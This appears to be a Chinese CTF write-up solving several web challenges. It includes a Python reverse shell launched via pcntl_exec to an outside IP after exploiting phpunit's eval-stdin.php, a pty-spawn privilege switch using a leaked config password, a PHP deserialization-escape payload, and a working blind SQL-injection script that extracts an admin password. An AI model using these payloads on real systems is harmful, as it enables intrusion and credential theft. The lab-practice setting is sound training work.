[toc]
php
进入题目,DVWA靶场的界面:
除此之外啥也没有了。我们扫描目录发现 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
:
下意识想到/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php命令执行漏洞。
经测试,使用system()函数执行命令和exec()函数反弹shell都不行,应该是都禁用了。我们用scandir()函数可以成功列出根目录里的文件:
如上图在根目录里发现flag,尝试用readfile()函数读取flag失败,经测试/flag不可读:
也就是说我们没有权限读取根目录里的flag。。。蒙蔽了。。。
在这里卡了好久,最后在网上搜到了一个pcntl_exec()函数,可以在当前进程空间执行指定程序,当发生错误时返回false,执行成功时没有返回。我们尝试一下该函数,由于没有回显,所以我们只能来反弹shell,Linux系统一般会内置python,我们就用python来反弹shell:
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("47.101.57.72",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
得到shell后查看根目录中flag文件的权限,发现该文件是属于admin用户的:
怪不得我们之前读取不了。看来我们要以admin用户的权限读取flag,这里切换到admin用户需要使用 su admin
命令。
我们在/var/www/html/connfig目录里面发现了一个config.inc.php文件,读取他,在里面发现一个密码:
但是,这里要注意一个点,就是 su
命令只能在linux的终端上面执行,否则会报错:
这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,su
命令在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备,而我们上面这种反弹shell的方式仅仅是执行命令,没法获得真正的终端。
这时,我们想到了python pty库中的 pty.spawn("/bin/sh")
,可以用它来模拟一个终端设备。我们只需在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
如上图,用之前在config.inc.php文件里读取到的密码,成功切换到amdin用户并获得了flag。
login
进入题目,显示如下:
扫描目录发现www.zip,下载得到源码:
index.php:
<!DOCTYPE html>
<html>
<head>
<title>file-reading</title>
</head>
<body>
<form action="index.php" method="GET">
username<input type="text" name="user">
password<input type="text" name="pass">
repassword<input type="text" name="repass">
filename<input type="text" name="dir">
<input type="submit" value="submit">
</form>
</body>
</html>
only admin can view /flag
<?php
include 'config.php';
$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {
if (preg_match('/flag|\.\.|\/|index|config/i', $dir)) {
die('NO Hacker !!!!!!!!');
}
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}
?>
config.php:
<?php
error_reporting(0);
class File {
public $user;
public $pass;
public $repass;
public $dir;
function __construct($data1, $data2, $data3, $data4)
{
$this->user = $data1;
$this->pass = $data2;
$this->repass = $data3;
$this->dir = $data4;
}
function Login()
{
if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
return true;
} else {
return false;
}
}
function __destruct()
{
if ($this->Login()) {
readfile($this->dir);
} else {
die('wrong user or pass');
}
}
}
function filter($data){
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
return $data;
} else {
$filter_arr = array('admin','test','root');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'hacker',$data);
}
}
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
$user = $_GET['user'];
$pass = $_GET['pass'];
$repass = $_GET['repass'];
$dir = $_GET['dir'];
$get = filter(serialize($_GET));
} else {
die('hello world');
}
?>
很明显这里是反序列化逃逸。
直接给出payload:
/index.php?user=ohhhh&pass=a3333&repass=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"dir";s:5:"/flag";}&dir=a
执行,得到flag:
login2
这道题和[BJDCTF 2nd]简单注入这道题思路和解法是一样的。
进入题目,显示如下
应该是sql注入,Fuzz一波发现过滤了很多,单引号、双引号、空格、union、select、=和like都tm被ban了。
这里过滤了引号,我们可以用SQL语句逃逸单引号的方法来绕过,主要是通过反斜线\
,将单引号转义,从而实现了SQL语句逃逸,造成SQL注入。
SQL语句逃逸单引号
假设sql语句为:
select username,password from users where username='$user' and password='$pwd'
假设输入的用户名是
admin\
,密码输入的是or 1#
整个SQL语句变成了select username,password from users where username='admin\' and password=' or 1#'
由于单引号被转义,
and password=
这部分都成了username的一部分,即username='admin\' and password='
这样
or 1
就逃逸出来了,由此可控,可作为注入点了。而我们Fuzz的结果也确实发现反斜线没有被ban掉。(注意该点)
当你输入:
admin\
or/**/1#
得到回显 “flag is not here”:
存在盲注,由于union、select等都被ban了,且题目提示我们要登录amdin用户,所以我们思考应该是要将password的值直接读取出来。经测试regexp没有被过滤,我们可以用regexp来匹配进行盲注来得到admin用户的密码,即:
username=admin\
password=or/**/password/**/regexp/**/binary/**/'^a'#
// 加上binary关键字用于区分大小写
但是这里由于题目过滤了引号,所以就不能存在’^a’等格式了,我们要用十六进制来绕过即
username=admin\
password=or/**/password/**/regexp/**/binary/**/0x5e61#
最终给出exp脚本:
import requests
import string
def str2hex(string): # 这里由于题目过滤了引号,所以就不能存在'^a'等格式了,我们要用十六进制来绕过
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
strs = string.ascii_letters + string.digits + '_'
url = "http://eci-2zefgznxebdx6rq2z6g7.cloudeci1.ichunqiu.com/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or/**/password/**/regexp/**/binary/**/{}#'
if __name__ == "__main__":
name = ''
for i in range(1, 40):
for j in strs:
passwd = str2hex('^' + name + j)
payloads = payload.format(passwd)
postdata = {
'username': 'admin\\',
'password': payloads
}
r = requests.post(url, data=postdata, headers=headers)
if "flag" in r.text:
name += j
print(j, end='')
break
得到密码为This1snOtthEr1ghtfLag。
输入密码登录admin用户即可得到flag:
diary_by_admin
"2|1:0|10:1608368047|4:user|8:Z3Vlc3Q=|c381d5168afe25c0eedf422fa940aff7afcd156e4dd076979b562680fe46ad51"
然后不会了。。。。。。